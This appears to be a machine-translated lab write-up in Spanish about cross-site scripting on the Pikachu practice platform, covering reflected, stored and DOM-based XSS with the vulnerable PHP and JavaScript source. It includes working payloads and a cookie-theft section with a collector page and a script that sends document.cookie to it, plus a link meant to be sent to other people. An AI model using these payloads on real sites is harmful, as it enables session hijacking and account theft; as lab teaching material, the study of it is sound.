Notas de estudio XSS --- Plataforma de vulnerabilidad Pikachu

XSS

1. Descripción general de XSS

  • XSS es una vulnerabilidad que ocurre en el front-end de la web, por lo que su principal objetivo son los usuarios del front-end.
  • Las vulnerabilidades XSS se pueden usar para ataques de phishing, minería js de front-end, adquisición de cookies de usuario e incluso control remoto del host del usuario combinado con las propias vulnerabilidades del navegador:
    imagen de ichunqiuInserte la descripción de la imagen aquí
  • Causas de la vulnerabilidad: La razón principal para la formación de vulnerabilidades XSS es que el programa no controla estrictamente la entrada y la salida. Una vez que se ingresa el script construido, el navegador lo interpreta y ejecuta como código válido cuando se ingresa al front end, que causa daño.

2. Proceso de prueba de vulnerabilidad XSS

  • Busque el punto de entrada en el sitio de destino, como el puerto de consulta, el tablero de mensajes;
  • Ingrese un conjunto de "caracteres especiales + caracteres de identificación únicos", haga clic en enviar y verifique el código fuente devuelto para ver si hay algún procesamiento correspondiente;
  • Busque el carácter único buscando y combine la sintaxis antes y después del carácter único para confirmar si se pueden construir las condiciones para ejecutar js;
  • Envíe el código del script de construcción (y varios gestos de omisión) para ver si se puede ejecutar correctamente; si se ejecuta correctamente, significa que hay una vulnerabilidad XSS

Tres ejemplos de inyección XSS

3.1 XSS reflectante

3.1.1 Resumen
  • Los ataques reflectantes XSS son normalmente únicos
  • Método de ataque: el atacante envía el enlace que contiene el código malicioso XSS al usuario objetivo por correo electrónico. La vulnerabilidad se activa cuando el usuario objetivo visita
3.1.2 Ejemplos de ataques
  • Primero ingrese los caracteres especiales y el carácter de identificación único '"pikachuchuchu Submit
    Inserte la descripción de la imagen aquí-Entonces verifique el código fuente de la página para ver si ha sido procesado, es obvio que no hay
    Inserte la descripción de la imagen aquí-intentar construir una carga útil para el ataque xss
<script>alert('What can I say?Mamba out')</script>
  • Tenga en cuenta aquí que la interfaz tiene un límite en la longitud de los caracteres en la entrada de la cadena. F12 se puede cambiar para ver el efecto del ataque.
    Inserte la descripción de la imagen aquí
  • Análisis de código: no hay procesamiento para los datos obtenidos, así que simplemente escriba el código js directamente
if(isset($_GET['submit'])){
    
    
    if(empty($_GET['message'])){
    
    
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
    
    
        if($_GET['message']=='kobe'){
    
    
            $html.="<p class='notice'>愿你和{
      
      $_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{
      
      $PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
    
    
            $html.="<p class='notice'>who is {
      
      $_GET['message']},i don't care!</p>";
        }
    }
}

3.2 XSS almacenado

3.2.1 Resumen
  • Función: Obtenga la información del mensaje, el título y el contenido ingresados ​​por el usuario, luego inserte el título y el contenido en la base de datos y envíe la información del mensaje de la base de datos a la página.
  • Debido a que obtendrá la información del mensaje de la base de datos y la enviará a la página, este ataque es persistente.
3.2.2 Ejemplo de inyección
  • Caracteres de reconocimiento de entrada XSS similares y reflectantes más símbolos especiales para ver si se han procesado
  • Esta cuestión no se ha abordado
  • La carga útil que entré es
  • Efecto: esta ventana emergente aparecerá cada vez que visite Inserte la descripción de la imagen aquí
  • Análisis del código fuente: después de leer de la base de datos, no se ha procesado, por lo que existe una vulnerabilidad xss
 <div id="show_message">
   <br />
   <br />
   <p class="line">留言列表:</p>
   <?php echo $html;
   $query="select * from message";
   $result=execute($link, $query);
   while($data=mysqli_fetch_assoc($result)){
    
    
   echo "<p class='con'>{
      
      $data['content']}</p><a href='xss_stored.php?id={
      
      $data['id']}'>删除</a>";
                    }
   echo $html;

3.3 DOM tipo XSS

3.3.1 Resumen
  • Función: Después de ingresar la información en el cuadro de entrada y confirmarla, la página reemplazará "el contenido de entrada se muestra aquí" con una instancia de la información ingresada w3cscholl
<html>
<head>
<script type="text/javascript">
function getValue()
{
     
     
var x=document.getElementById("myHeader")
alert(x.innerHTML)
}
</script>
</head>
<body>

<h1 id="myHeader" onclick="getValue()">这是标题</h1>
<p>点击标题,会提示出它的值。</p>

</body>
</html>
3.3.2 Ejemplos de ataques
  • Análisis de código fuente
  • El texto que ingresemos en el cuadro de texto se pasará a str, y luego la cadena se empalmará " ¿qué ves? "; Y se usará como contenido html con id dom.
  • Si ingresamos una URL normalmente, como https://www.bilibili.com/
  • Hacemos clic en ¿qué ves? Visitará esta página
  • Del mismo modo, también podemos realizar ataques xss. La diferencia aquí es que necesitamos construir cierres.
<a href='"+str+"'>what do you see?</a>
我们可以构造为 <a href='' onclick=alert(1111)>'>what do you see?</a>
输入框里的内容为:' οnclick=alert(11111)>

El efecto es el siguiente:
Inserte la descripción de la imagen aquí

<div id="xssd_main">
   <script>
     function domxss(){
     
     
         var str = document.getElementById("text").value;
         document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
         //试试:'><img src="#" οnmοuseοver="alert('xss')">
         //试试:' οnclick="alert('xss')">,闭合掉就行
   </script>
         <!--<a href="" οnclick=('xss')>-->
         <input id="text" name="text" type="text"  value="" />
         <input id="button" type="button" value="click me!" onclick="domxss()" />
          <div id="dom"></div>
</div>

3.4 Adquisición de cookies

  • Código fuente de xss para obtener cookie en entorno pikachu
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    
    
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu-master/index.php");//重定向到一个可信的网站
?>
  • Ingrese el código de js en el xss reflectante
<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
  • Se volverá a visitar la página al sitio web redirigido en el código fuente, en este momento se ha obtenido la cookie de la página que visitó anteriormente.
  • Puede utilizar la URL que acaba de visitar para
    ?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submitenviar a otras personas y obtener las cookies de otras personas cuando otras personas visitan

Supongo que te gusta

Origin blog.csdn.net/CyhDl666/article/details/113001484
Recomendado
Clasificación